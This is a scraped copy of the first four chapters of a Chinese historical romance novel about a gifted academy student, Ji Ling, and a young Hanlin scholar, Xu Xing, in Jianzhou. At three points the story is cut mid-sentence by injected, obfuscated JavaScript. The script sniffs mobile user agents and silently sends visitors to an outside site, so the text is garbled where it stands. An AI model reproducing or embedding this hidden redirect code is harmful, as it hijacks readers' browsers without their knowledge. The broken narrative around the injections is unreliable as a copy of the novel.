《季大人升官笔记》 1. 诸缘始于建州初夏 季泠从深秋寒江中爬出来后,已经来不及去看身后的那片芦苇荡。 这是她来到京城的第七年,她七年没有凫水了,但她万分庆幸自己是一个海边长大的女子,因而她能将他救下。 她眼前只剩影影绰绰的朦胧,她松开怀中的人,由着她的人和他的人将他们分开。 然后,她竭尽全力地对着眼前的玄色曳撒说完了她早已准备好的话,在兵甲响动之中,肩上的伤口疼痛猛烈袭来。 季泠阖上了眼。 在梦中,她再次坠落到水中,但不是夏日宁川的海,也不是秋天京城的江,而是一汪如同温泉的深潭,慢慢疗愈她的疼痛,注入了久违的温暖。 在梦里,她一直在前行,只是似乎愈走愈退了。浮光月影之中,她长途跋涉许久,腊梅已经凋谢,海棠再次盛开,玉兰抽了新芽,而她终于决定,寻一个她最想重历的时节停下吧。 于是,她停在了那一年。冥冥注定般,她和徐行初遇的那一年。 那一年,几乎是她人生中最重要的一年。 所有人的出现,都为她引航万里。 她与齐家兄妹交好,她与何咨宁分别,她在秦先生的鞭笞中厌倦于建州的日复一日,她想要荣光万丈的将来。 那一年,她十五岁。 即使是时隔多年,季泠依旧记得初见徐行的场景。 她依着约定走入郑先生的寓舍中,看见书架边有一个人。他穿着缥色山水纹直身,腰系湖蓝丝绦,看着是一副士人装扮。 春夏交替时节的阳光柔和也灿烂,透过窗棱穿过他,斜斜地照在随墙摆放的书脊上。 季泠呆愣着,又因为没来由的紧张,指尖扣住门框,不知该不该进。 还不容她纠结,那人便转身看向她,没有被突然打扰的不快,也不计较季泠的无礼唐突,只是略带着惊诧。 不仅是因为意外来客,更是因为这位来客卷进的风吹起他手头的书页,撩过他的指尖。 “新朝建立之初,为了稳固社稷,广开言路,高祖皇帝下诏放宽社学门槛,平民百姓也可入学读书。若干年后,又出新政,允女子入学堂,通礼明义。” “建州是最早一批开展女子入学的州府之一,在此处,男女学生除了同堂听讲之外,君子六艺,琴棋书画,踏青游学,宴饮作乐等,都不受约束,一并进行。” 在他初到建州时,徐翰科向他介绍了建州最为出名的书院文化。 前几日,他便随山长与郑稳一起游览书院。 “枫漈书院坐落在枫漈山下,山间一片枫树林,还有一处百丈漈,飞湍而下,书院因此得名。许多文人雅客和学生游人会到此游览,春日踏青,夏日避暑,别有意趣。”山长道。 书院山长是翰林院出身,与他父亲曾共事几载,是闽地有名的大儒,在建州传道授业,教化庶民,开堂作讲,论学议政。 郑稳曾是山长的学生,现留在书院中传授学业,讲解经书。 徐行看见季泠,便想到前几日的见闻,大抵也猜到,这姑娘许是郑先生的学生。 还不由他开口,那姑娘已经急急道明来意:“学生来请教郑先生一些问题。” 徐行微笑点头,虚手示意,引她到堂中书案边坐下。 季泠偷偷打量着徐行,又看着自己散乱的素色麻裙,抿了抿嘴。 徐行才抬眼,便见她的闪躲,暗想兴许是自己的存在让她不适,便温和开口道:“郑先生刚巧有事,出去了一会儿。姑娘且先坐着等等,估摸着快回来了。” 季泠坐了一会儿,按捺不住无趣,很快便走到门前,透过竹编卷帘注意着书斋里的动静。 旁边一隅的束腰方形圆腿高花几上放了一盆兰花,她的袖子拂过,窸窸窣窣,引得徐行偏头看来。 季泠的目光被他逮住,立刻决定先发制人。 “您是郑先生的孩子吗?我该怎么称呼您?” 徐行被她的直言逗笑,其实本该等主人回来替他们二人引荐介绍,但既然她已经开口,倒也不拘了。 “我是郑先生的朋友,姓徐,单名行。”她明显比他小许多,同辈是称他为徐大人,可他才告假南下,一时间反而想不到一个合适的称呼。 “徐先生?”季泠试探道。 “也可。”徐行点点头。 季泠便就直接照搬了他的介绍:“我是郑先生的学生,姓季,单名泠。” “季姑娘。” “也可。” 徐行实在忍俊不禁,好奇问她:“珊瑚幽茂而玲珑?” 季泠一愣,随即反应过来:“非也,愿随泠风去,直出浮云间。” “倒是一个好字,少见用在女子的名字里。”徐行亲和地笑了笑,表示赞赏。 出乎他的意料,季泠皱了眉,“徐先生此言何意,莫非好字都要紧着男子用不成?” 徐行被她一怼,当即僵住,暗道建州书院中的姑娘是有些急躁的,反而比京城那些大家闺秀更在意言语间的上风。 “非也,是我用词不当,季姑娘莫怪。” 语罢,季泠阴霾全无,反叫徐行目瞪口呆,喜怒形于色,也未免过于……鲜活? 于他而言,比起京城的虚与委蛇,这样的人反倒更好交流。 “季姑娘方才说,要请教郑先生一些问题?” 季泠点点头,朝他晃了晃手中的书。 徐行笑笑,走到书案边,似乎想要弥补方才对她的“唐突”,语调十分柔和:“郑先生去寻山长议事,兴许一时半会儿回不来,不如我先看看,能否替你解答一二?” “你?”季泠不是很想质疑他,可他说自己是郑先生的朋友,却看起来不过是他的孩子般大,又如何能替她解惑? “季姑娘信不过我?” “你是举人吗?”若是,她便信她几分。她好歹也是书院三甲,可不是谁都能替她指点迷津的。 徐行哭笑不得,委婉告知他的身份:“我是进士。季姑娘可放心了?” “进士?” 哪有这么年轻的进士?胡诌吧! 见她仍是持疑,徐行也无法自证,只好说:“季姑娘不妨让我看看,就当是朋友闲时畅谈,我姑妄言之,你便姑妄听之,如何?” 他想看看,闻名遐迩的建州书院,教出女学生与他们这样的人有什么区别。 季泠拿出自己随身带的书,翻开自己折了角的那一页。 “褚先生曰:‘浴不必江海,要之去垢;马不必骐骥,要之善走;士不必贤世,要之知道;女不必贵种,要之贞好。’可若要去垢,人们总是先奔向江海,若要远行,人们总是先择名马。那么深山清潭与初长良驹呢?似乎总是无人注意,或是被轻视忽略。”[1] “你觉得此言太过理想,不切实际?” 季泠迟疑了,她觉得此言有理,却更像是因壮志难酬而说服自己静心锤炼等待的说辞,可是她没有十足的耐心。 “并非如此...我也不知道怎么说,只是觉得人生不过百十年,总等着他人来寻找我的长处吗,是否太被动了些?这样大浪淘金,是否会被有眼无瞳之人视作沙砾,长久埋没于淤泥之下?” “韫椟藏珠隐尘迹,万里前程在咫尺。若是一块赤金,确实不能蓄响藏真,蕴奇待价。”[2] 徐行缓缓阐述。 “风浪冲蚀赤金,赤金也可借风浪濯清淤泥。若已扫清积尘,仍未遇到赏识之士,许是缘法未到。一块成色极佳的赤金,若落入到技平术庸者的手中,反而可惜。” 季泠似懂非懂地点了点头,先暗自记下了徐行的话。 “还有何不解之处吗?” 季泠合上书,正欲摇头,抬眼就看见徐行正含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黄铜灯架旁,仅有几只烛火熠熠,前方的季泠神色郁悒,皱眉蹙额,陷入沉思。 寓舍之外,山间石径上的脚步声渐近。竹帘响动,两人同时抬头,是郑稳回来了。 季泠站起身来,向郑先生行了礼。 今日她来的目的已经完成了,眼下应该告退了。 郑稳点头,季泠朝徐行摆了摆手,似已将他当作了朋友。 还未退出去,郑先生的话语便传来:“润旻,可都寻到了?” 徐行答:“余下的都找到了,就是《东坡七集》,似乎是少了一集…” “是不是缺了《东坡内制集》?” 一如刚进来时那样,季泠扒着门框,不合时宜地作答,倒是将郑稳吓了一跳,不由得皱眉。 季泠连忙说:“这本现下在我那呢。月前来向郑先生借了此书,还未归还。” 郑稳闻言,当即一瞪,徐行瞧了便也知道,郑稳虽严肃些,对这位女学生倒不错。 “不急,等季姑娘看完,我再借阅也不迟。” 徐行侧过头,看她粲然一笑,没一会儿,那抹素影就掩入郁郁青青的草木和红透山野的杜鹃花中,顺着小径渐渐消失了。 郑稳看了他一眼,适时拉回他的注意:“润旻,你在建州预计停留?” 徐行垂眸笑了笑,复又抬头说:“少则两三月,多则一年吧。建州是个好地方,山水俱佳,人才辈出呢。” 郑稳明白他的意有所指,道:“方才聊了?” “季姑娘问了些问题。” 郑稳叹了一声:“虽说读了书,成绩也尚佳。可坏便也坏在这儿,涉世尚浅,自傲跳脱,容易冲动。” 徐行与他相视一笑:“日后走出建州,见见世面,历练一番,想必是会大有所成的。郑先生把他们教的很好。” 郑稳抚了抚胡子,轻轻摇头:“怕是难呐...” 确实难。不说季泠,三年前,他风光无限,如今,不也蕴奇待价吗? 2. 秦先生幽居瀚海阁 季泠回到斋舍后,迫不及待地将今日之事与何咨宁分享。何咨宁停下笔,抬眼看着身旁的人抑制不住的好奇。 “进士?在郑先生那儿?”季泠趴在窗边的书案上,仍在回想今日与他对话的场景。 “我没见过那么年轻的进士,总觉得他在诓人。你记得吗,咱们书院的那个沈师兄,才二十五岁就已经是举人了,可我听说,他今年春闱都没上榜。我看那人和沈师兄的年纪差不多,若他是进士,岂不是十来岁就中举了?” “不论是不是诓人,与我们都无甚干系。”何咨宁又低下头,神色淡淡。 十来岁中举如何,二十多岁落榜又如何。那都是男人才有资格享受的得意与失落。季泠凑过去,看见她又在写信。 “你还在问你那位族兄吗?”何咨宁顿了顿,不知在想什么,再次落笔时,微微点了头。 “其实,要我说,你也未必需要去投奔你那位族兄嘛。咱们二人从宁川到建州,一起过了这么多年,继续下去,其实也不错。” 季泠越说越小声,说到最后,瞄着何咨宁,气儿都虚了。何咨宁与她七岁起就做了伴,她与父母呆在一块儿的时间,都及不上与这位至交。她不敢想,若是何咨宁走了,她一个人,该要怎么办。 可是,若何咨宁真的找到了更好的前程,她又怎么能那么自私,用这份情谊捆住她呢?她知道,何咨宁不会因为她的一句话而改变主意的。 何咨宁在信末落了款后,却始终没有折起。斋舍里,只有两人的书案上摆着两盏烛火,昏昏的,模糊不清。何咨宁盯着烛芯的那抹幽蓝,未来也重了影。 “泠儿,我们十五了。”十五,对于女子而言意味着什么,她们心知肚明。 她与季泠两人在十岁那年,背井离乡来到建州,尚对未知的将来有无限憧憬。可这两年,与她们同窗共学的女子越来越少。读了几年书,还未走出去看看大好河山,就被家里人许了婚,离开书院,从学生成了娘子。 只是十五岁这一道坎而已。迈过去,却是截然不同的天地了。 “你想过未来吗?”季泠将椅子挪到她身旁,张手去扑那盏烛火。火高起来,她的手就往上躲。火暗下去,她就忍不住去压迫它。倒像是变戏法,烛火只听她的话,随她心意明灭晃荡。 “我不知道。”何咨宁尚且有一束希望吊着,她却什么都没有。 何咨宁看着她终于玩累了,枕在双臂上,怏怏道:“总之,不能回宁川。” “我们才来建州五年。” 季泠习惯走一步看一步,十五又如何呢?她总觉得,她的人生才刚开始,这么快就要把自己的一生安排的明明白白,那人生还有什么盼头。 “是,才五年。可是,与我们能力相当的男子,都已经举业了。其它姑娘是不愁吃穿的千金小姐,我们不一样。”她和季泠,是宁川选出来的两个姑娘。 那年,她们在书院选试中得了同年前三甲,才有机会从宁川来到建州。 书院日给廪饩,岁供衣服,她们眼下是衣食自足,可将来呢? “我们可以像秦先生那样。秦先生年轻时,随着船队下了南洋,见多识广,现在也能凭一己之力在书院做一位先生……” “你甘心?”何咨宁问她。 季泠不说话了。烛芯支起的焰火晃来晃去,她眼睛疼的不行。兴许从前甘心,可自从认识了秦先生,从她的口中,她的书中见过外面的世界,她就不甘心了。 几日后,山长来了书院,召学生进行月初训导。 季泠坐在一众女学生中,只觉得眼皮打架,困的不行。 “泠儿,”身旁的人拍了拍她,季泠一个激灵,转头看向她。 那姑娘与季泠身量相当,模样飒爽,炯炯双目中洋溢着少年意气。 “我听说,今日,会来一位新先生。” 季泠来了兴趣,越过前头重重人影,看着坐在中位的山长。 今日的山长,有些过分隆重了——一身蓝色罗袍簇新,浆的平整,头戴儒巾,单手抚髯,声如洪钟。 她知道,钟荡云是建州显贵人家的姑娘,那份爽朗无拘的潇洒也只有这样不拘于生活之忧的人家才能养的出。她刚入书院时,先认识了她的表兄齐无戈,过了半年,钟荡云与齐无咎才入了书院,成为她们的同窗。 那日,她站在瀚海阁中,凭栏远眺,看见山长对齐家老爷十分尊敬,拱手送别。 她当时来书院半年,只见过山长一面,那已然是她见过的最富学识,地位最高的人了。 那日之后,她才知道,世界之大,人外有人。她所崇拜的山长,走出书院,也不过是沧海一粟。 钟荡云是个心思单纯的姑娘,初次见到她们就觉亲切,日日黏在她们身边。之后,又非拉着她们结拜,钟荡云就顺理成章成了她们的姐姐。 想到齐家的地位,钟荡云的消息必然灵通,她既这么说了,那该不是空穴来风。 山长身侧坐着两排胡子,是书院的师长、讲书等人。 秦先生仍不在此列。 看来,这位新先生,来头不小。 “是哪里来的先生,教什么的?男的女的?” 季泠偏头与钟荡云悄悄说话,头埋得老低,虽然怕被上头的先生们看见,可她仍不规矩。 “听我大哥说,好像是山长曾经在翰林院的故交…” 话音未落,前方就传来窃窃私语,一大群学生在议论着,再如何压低声音,也有些喧闹。 山长咳嗽了一声,音浪消伏了些。 季泠与钟荡云抬头看去,果然如钟荡云所说,是一位新先生。 不怪同窗们如此惊讶,实在是那位先生的模样生的太好,诞姿既丰,湛若冰玉。 “是他…” 季泠喃喃,另一侧的何咨宁低声问她:“京城进士?” 季泠收回眼神,欲答复何咨宁的瞬间,看见徐行的眸光如雨滴坠落。 当日下学后,天还亮着,季泠一如既往去往了瀚海阁。 站在瀚海阁前,季泠鼓起勇气深呼吸,弯着腰小心翼翼推开门。 “吱呀”一声,古旧的木门还是发出不小的动静。 季泠后背一麻,只能盼望着里头的人聚精会神,无暇理会她。 穿过层层书架,正准备走入她的那间小舍,一道声音传来,季泠瞬间止了步。 “你今日怎么来的这么迟?”季泠僵着身子,拖拉步伐,换了方向,朝书架后的堂屋走去。 秦晗正坐在书案前,竹简书卷在案前隆成层峦叠嶂,她只能看见秦晗头上岿然不动的桃木簪。 没听见季泠的回答,秦晗略微掀了眼皮,越过书册,看见那个学生呆傻地站在那儿。 季泠支支吾吾道:“书院中来了一位新先生。” “有聊头?”季泠悻悻一笑,搬了张杌子,屁颠屁颠地坐在书案边。 “是位年轻的先生?长得不错?把你们这些小姑娘的魂给勾走了?” “秦先生…我没有那么肤浅…” 秦晗懒懒瞧了她一眼,不欲多说。爱美之心人皆有之,看见个好看的男子,又有先生身份的加持,小姑娘心生仰慕,产生兴趣,情有可原。 “只是,我之前在郑先生那儿见过他。” 今日第一堂就是这位新先生的课。初次讲学,他先朝着众人温和笑笑,并未因为担心自己年轻不压场就给学生们下马威,只说他暂代教职,待原先的讲学回来,他便不再任教。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446264|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故而,他明言,他这位先生与学生们的缘分短浅,但若是学生们在学业上有任何不解之处,他亦会知无不言,随时解惑。 学生们眼巴巴望着这位与众不同的先生,倒不觉得有什么遗憾,只是好奇他的来历。 季泠觉得自己提前认识了他,洞察了先机,难掩得意。 徐行很快略过了她,却将目光停留在齐无戈和齐无咎身上。 他认识他们,她看出来了。 “可他装作不认识我。” 秦予朝一眼就洞察季泠的失落,却只一笑。她这个年纪,正是恃才傲物的时候。 季泠这种性子,能忍受她这么长时间,已然让她刮目相看。 “你就是因为这个,才迟来了半个时辰?” 季泠抖了抖,明白秦晗的话里的愠怒。秦先生等了她半个时辰。她罪该万死。 “那位新先生,留了一道题…许多同窗不大理解,问我该如何入手,是而迟了些,还请秦先生恕罪。”秦晗搁了笔,手头仍忙着,语气稍缓了些。 “之前让你整理的福建与浙江地方志,你还记得吗?” 季泠忙不迭地点头,“记得。”说着,双手紧张地在袍子上蹭了蹭,手心被磨得生了热。 这两省的地方志,她写了多少页,怕是就挨了多少骂,如今回想起来,还是背后发汗。 秦晗将身侧的两大叠书推给她,又将藏书处的指引木牌给她,让她自己去寻相关资料。 “今年,替我整理完南直隶与湖广的。” “今年?”季泠瞬间瞪大眼,却又不敢表露质疑。 福建地方志,她整理了一年半,浙江的她整理了一年余两个月。如今两省的,却要她一年完成,实在强人所难了些。 她不过是个学生,日间还要忙课业,又怎能兼顾如此浩大的工程?况且,整理地方志并不容易,秦晗要的不是她左手倒右手的概略,而是她言简意精、横阔纵深的编纂。 “怎么?要求太高了,时间太短了?”季泠偷偷看着秦晗,秦晗翻阅着另一侧的几本古书,都未曾理会她的神情,却偏偏似乎很明白她的心思。 “学生怕,不能让先生满意。” “你知道,我不要你只是完成,我要的答卷,必须优异。” “你既有时间去为你那些同窗答疑解惑,更有心思为一位新先生不理睬你而难过,说明你的精力太多,没地方使。既然如此,就给我在这儿好好学学,何为心静。” 季泠暗道,自己确实是有劲没处使,否则当年怎么会昏了头,来秦晗这儿自讨苦吃。 枫漈书院的人都知道,瀚海阁的秦先生脾气十分古怪,就连山长都不放在眼里,书院中的其它先生对她也是敬而远之。 季泠刚到书院的那两年,得知了瀚海阁的藏书为建州之最,福建九府也没几处能与之并肩,便求知若渴,日日下了学就往瀚海阁跑。 十二岁那年,她在瀚海阁存放珍惜古籍的地方看见几本她念了许久的书,想要找管理典籍的掌书借阅,阴差阳错,她闯入了秦晗的书斋。 秦晗大怒,将她劈头盖脸训斥一通,说她这样的脑子,看这样的好书,简直是玷污。 那时她年纪小,脸皮厚,既被骂了,决不甘心就空手而归。 之后便日日去求秦晗,每日都讨一顿白眼回去。就连一开始对秦晗颇有好感的何咨宁都受不了秦晗的态度,劝她不要再去低声下气自讨没趣。 被骂了两个月,秦晗终于忍无可忍,给她指了个瀚海阁角落全是尘灰的小舍,命她滚进去看,每次只可借一卷,不许带出阁。 又过了几月,她心满意足地看完了那几册古籍,十分小心地整理好归位后,却被秦晗拦住。 3. 甘行险径以效申商 “拿出来。”季泠提着书箱,脸色一白。 “秦,秦先生……”秦晗冷冷看她一眼,季泠几乎想要给她跪下了,僵持片刻,只能自认倒霉地蹲下,把东西从书箱里拿出来。 秦晗毫不客气地抽走,翻阅了之后,上下打量了她一通。 那是秦晗第一次正眼看她。 “字倒不错,随我进来。” 秦晗把她偷偷抄了几月的副本还给了她,之后,她就成了秦晗的小书童,替她找书,替她抄录,替她整理卷宗。 最后,秦晗命她整理地方志。 也算是瞎猫撞上死耗子,她竟然得到了秦晗的认可。 季泠把两叠快有她人高的书搬进自己的小舍中,偷偷叹了一口气,捡了几只不到半截的蜡烛,凑了几盏灯,开始埋头苦看。 最后一只蜡烛燃尽时,小舍内陡然暗下,季泠砸吧砸吧嘴,将要做起美梦时,却突然一抖,立刻慌张睁眼。 她太困了,不小心又睡着了。在睁眼的一瞬间,看见她的书案前多了个人,季泠下意识尖叫出声,就听见一声不耐烦的啧声。 “秦先生?”她已经认出来人,立刻摸索着起身,去半旧的多宝阁那儿找来新的蜡烛点上。 端着烛台走回书案边,秦晗正拿着她写了一半的策论。 季泠不敢出声打扰她,只能老实巴交地坐着,四处张望,不知所措地忙乱起来。 最后,想到前几日秦晗布置给她的重大任务,才恍然想起惊恐——她竟然当着秦先生的面,又浪费了这一盏茶的时间,她立刻摸过最上头的一本湖广县志看起来。 “这是前几日说的,你那些同窗问你的题?” 季泠点点头。 说实在的,这道题,她也不怎么会作,可不知道为什么,那日徐行留下这道题后,在书斋内巡了一圈,突然在她身边停住。 “季姑娘?”季泠腾的站起来作揖,膝盖撞到了书案,却也只能忍着。” “七日后,由你将各位的答卷收上来,清点无误后,交予我。” 季泠硬着头皮应下,散学后,众人就将她围住,问她是否知道徐先生留的那道题究竟该如何解。 季泠想了想,便与他们商论了一会儿。她将要离开时,听见有几人团成一窝,低声议论着。 “徐先生为什么偏偏选了季泠?” “她瞧见徐先生,恨不得凑到跟前,叫徐先生只注意她。” “她惯是知道怎么讨先生欢心,从前严肃的郑先生是这样,后来那个古怪的秦先生是这样,现在这个徐先生也是这样。我看,她那门门甲等,必然都是走了后门的。” 季泠、何咨宁、钟荡云走过,将他们的话听了个七八成。 季泠火冒三丈,翻了个白眼,撸起袖子就准备去跟他们吵一架,身旁的钟荡云率先嚷起来:“我们季泠入枫漈书院至今,年年甲等,门门第一。你有本事,你也去讨先生欢心啊!” 那几人一转身,吓得脸都白了。钟荡云指着为首之人,步步紧逼:“怎么不去?方才一散学,你来找我们季泠,问了十个八个问题,怎么都不放人。转头在背后这样说人?” 身后的齐无戈也帮腔起来:“不论是先生的喜爱,还是学问的水准,你都不及季泠。徐先生不选她,难道选你不成?”他们脸色青了又白,白了又红,五颜六色,五花八门,简直是过年熬大酱般精彩。 那日,她从瀚海阁回斋舍后,何咨宁就问她:“为什么今日那徐先生刚开始装作不认识你,又偏偏在最后选你去替他收策论?” “不知道!我最烦弄这些破事了,他真讨厌!” 季泠蹬了鞋,满脸不耐烦。 她若是要为秦先生整理地方志,哪还有闲心替他收学生们的策论。分明他日日都要来给他们上课的,何不自己收了走,反而搞了个烂摊子给她做! 难道徐行觉得,这样是器重她的体现?季泠越想越不理解,最后只骂了一声“神经病”,泄愤后倒头就睡。 “诸葛亮无申商之心而用其术,王安石用申商之实而讳其名……”[1] 秦晗看着论题,季泠已经写了一大半了,只是涂涂改改的,看来她也被难住。 “对于这题,你是如何想的?”季泠十分惊讶,抬起头,秦晗仍在阅览她的策论。 秦晗很少过问她课业之事,也不强求她看什么儒家经书。这是秦晗第一次问她,如何看。 季泠其实没什么想法,徐行讲课倒是温声柔语的,布置课业倒是毫不手软。 依她看,这策论就是徐行用来立威的。 “若我受制于权,我恐惧申商。若我凌驾于势,我愿为申商。” “噢?”秦晗放下她的策论,来了兴趣。 “何解?” “法制,如刀。握刀者,距离衡量得当,尺度把握准确,治国安邦则可事半功倍。可若失了分寸,利刃不仅伤及无辜百姓,更会反害自身。” 秦晗难得没有说她言论荒谬,只点点头示意她继续说。 “沉痼故疾,愈久愈痛。把握天时,找准地利,谋求人和,自可用申商之术破蔽於积习。”季泠话音落下许久,小舍内安静的吓人,秦晗翻动着她的策论,纸页响一声,季泠的眼皮就跳一下。 “你对申商之术,有自己的看法。” “可论题之中,对比了诸葛亮与王安石,你如何看他们二人的做法?” 季泠张了张嘴,说不出个所以然,最后只能垂头丧气道:“我觉得……出题者,内心更尊崇儒道,而有意贬损法道。可我觉得,名也好,实也罢,赞贤亮品德的教化之功固然好,但也不能否定刑名律法的规行之益吧?” 秦晗笑了笑,一双锐眼越过灼灼微光,盯着季泠。季泠紧张的抓着策论,生怕又被劈头盖脸骂一顿。 “随你心意写吧。”秦晗撂了话。 季泠松了一口气,把那半截策论卷起,起身送秦晗出屋时,却听见她问:“留题的那位新先生……” “秦先生说的是徐先生?” “京城来的?”季泠点点头,“京官?” “他说他是。” “名字为何?” “他说,他姓徐,单名行。” “哦?他这样告诉你的?”季泠又点了头。 “徐行…”秦晗慢慢念着这个名字,想到一个人,不由一晃。 “京官,出自翰林院。” “翰林院?”季泠不可思议。山长出自翰林院,已经是建州数一数二的大儒了。徐行那么年轻,竟然也出自翰林院…… 非进士不入翰林,非翰林不入内阁。这是读书人都知道的。 “好好与这位先生打好关系吧。” 秦晗掠过她手上的书卷,转身往自己的书斋走去。 季泠愣住了。秦晗的话在偌大的藏书阁内飘荡,四面八方都是先人智慧的凝聚,缥香万卷,她却不能融会贯通。 秦晗从来不喜欢与人打交道,也不喜欢她把时间浪费在无用之人的身上。可她很喜欢和朋友们呆在一块儿,她不理解,为什么秦先生能够做到这么多年都能避人独处,几乎与世隔绝。 入夜了,万籁俱寂。季泠看着那身终年如一日的玉色长衫,满风盈袖,晕开自得其乐的孤寂。 她终于没忍住,开口问了:“秦先生,为何这么说?” “徐行,三年前,皇上钦点的榜眼。” “榜眼…”季泠还来不及回神,秦晗的身影就已经消失在长廊尽头。 进士…… 榜眼…… 翰林院…… 徐行的前途光明的闪瞎季泠的眼。 她没见过比这更厉害的人了。 可,这么厉害的人,为什么会来建州这个名不见经传的地方,又为什么,会愿意给她们讲学呢? 本该在翰林院的人,为什么会出现在这里? 三日后,季泠抱着学生们的策论,站在徐行斋舍前,踟蹰不前。 她看着院前守着的两人,虽然看起来清瘦高挑,可那腰间的剑,紧缚的臂,还有一动不动、对她视而不见的模样,一看就知道是身手极佳的侍卫。 这儿还能有人来杀他不成?季泠左看右看,竹林雅致,小潭清洌,山长倒是给这榜眼安排了顶好的地方。 门前的两个侍卫要将她手中的东西接过,季泠立刻避开。 她肯定要亲手交到徐行手里的,否则要是少了几张,到时候左右都成了她的错。 等的实在累,季泠一屁股坐在门前石阶上,看着落日渐渐沉入山脉之中。 终于,在天边的橙红将要消失之际,她看见山间小径出现了一道灰影,像山峰映衬在水潭里的倒影。 徐行看见坐在他门前的人,十分意外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446265|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么不进去坐着?” 季泠等了很久,心情很差,一股脑儿将手里的策论塞给他,偷偷瞄了身后的两个侍卫一眼。 “您的人不让。” 徐行失笑,只好当着她的面吩咐道:“迎星,抱月,日后季姑娘来送东西,请到正堂里坐着。” 夕阳的光晕在徐行脸上渐渐消失,季泠看着他的脸被暮色后的暗夜掩盖。 “先生快看看,有无缺漏的。” 徐行点点头,说了句进来后,越过她走入屋里,季泠气的跺了脚,只能小跑着跟上他。 站在徐行的书案前,季泠观察着他的脸色。一张张策论在他指尖翻飞,徐行却不见半点满意。 难道他要让她等他全部看完不成! 季泠看着他还不说话,终于忍不住开口;“先生,若是没有问题,学生先行告退了…” 徐行抬了眼,季泠正抓着自己的裙子,像是被他吓坏又忍无可忍的模样,实在有几分滑稽。 徐行清了清嗓子,柔声问她:“你们日常都是这样交课业的吗?” 季泠不懂他的意思,徐行又说:“每个人用的纸大小不一,格式也不一致。”他顿了顿,季泠已经开始冒汗,内心狠狠骂他两句。 这是她的错吗?她有什么资格去管同窗们用什么纸,写什么字? “还有,” 还有!季泠猛的抬头,气愤地瞪着他。 “你交给我,多少也该将这些策论排列清楚,按你们平日座位的顺序也好,或是你们在书院的位次也好,总该有个明目章程,而不是乱糟糟的一堆,塞到我这儿来。” “那,先生想要什么样子的?” “学生还有事…若是先生可以等…我明日再来…” “你让我等?”徐行声音和缓,只是再正常不过的疑问,可季泠吓得脖子一阵冷一阵热。 “先生恕罪…” 季泠嘴巴一快,先赶紧认了错,还没过脑子,就下意识走到书案边:“我现在整理。” 季泠动作大放,纸在她手中哗哗作响。 他要什么排序?书院位次吧!那她的就不得不在第一个了… 可她翻来翻去,别人的都排好了,愣是没找到自己的那份策论。她手都开始颤抖起来,她昨日熬了大夜才誊好的!怎么偏偏别人的都在,就她的丢了呢! 昨日秦先生说了,要她今日早些过去…偏偏所有倒霉事情都撞到一块儿去了! “你急什么?”徐行老神在在,季泠气不打一出来。 “学生还有要事在身!” “到底什么事情,能让你急成这样?” “学生每日下学,要去秦先生那儿…” 秦先生?他来书院一个月,没见过姓秦的先生。 还不等徐行问她,秦先生是哪位先生、她又究竟为何如此紧张时,季泠就看看他手中拿着的,正是她的那份策论。 她终于吐了一口气,放下心来,将整理好的课业压平整后递给他,又指了指他的手。 “先生…”徐行这才意识到他手中拿的一份。他方才草草翻阅了一下,被这份策论中的几个字攫去了注意,还未来得及细看,就被这学生撞开了。 季泠将徐行递来的策论放在最上头,话还没说出口,身子已经迫不及待地探出二里地去。 “先生,已经按上回月试的次第整好了,核对了两回,一份不漏。” 说完,人已经走到竹帘边,忙行了礼,提着裙子就跑走了。 书斋内,跟着徐行进来的览风为他磨着朱墨。 徐行将最上面的那份策论展开,提笔批阅。 览风候在一旁,眼见过了半柱香的时辰,他的少爷仍在盯着第一份策论。 直到他听见熟悉的鸟鸣,走出斋舍,解下京城来信,准备递交给徐行时,就看见徐行已经放下了笔,抵着下巴沉思。 左手一挥,蜷曲的纸页被压下,尾部的落款署名张扬率性。 “以终为始…” “君子明迹,知行合一,勿欺本心…” “吾甘行险径,效申商之术…” 夏夜沉光中,徐行敛下了笑意。 “月试第一?” 原来是她。季泠。 那么,这所谓的“甘行险径,以效申商”,是出自于她,还是她背后的那位秦先生? 4. 天将明者予朝于生 撇开季泠的策论,徐行继续看下一份。 是何咨宁的答卷。 比起季泠的年少气盛,何咨宁的“戒因贪功冒进,以致施善政而得苛政”就要稳重许多。 何咨宁,徐行记得,这个学生是季泠好友,也与齐家的那个外甥女关系不错。 季泠争强好胜,钟荡云随心所欲,何咨宁却是少见的不露圭角。若依过往经验来看,这样稳扎稳打的人,走的才能更长远。 端阳时节,书院放了学生们三日假,斋舍空了许多。 季泠与何咨宁仍与往年一样,留在书院之中。假日一早,季泠收拾了书箱,准备往瀚海阁去。 “今日可是端阳,你不休息休息吗?” 季泠正坐在书案前拨弄着自己那几只秃噜毛的笔,想着笔也同她一样,将要被秦先生压榨干净了。 “秦先生不知为何,最近盯得特别紧,每十日就要来查我的进度,你瞧,我的笔都写烂了。” 何咨宁瞧见,却也只能摇头。季泠很在意先生们对她的看法,秦先生尤为如此。 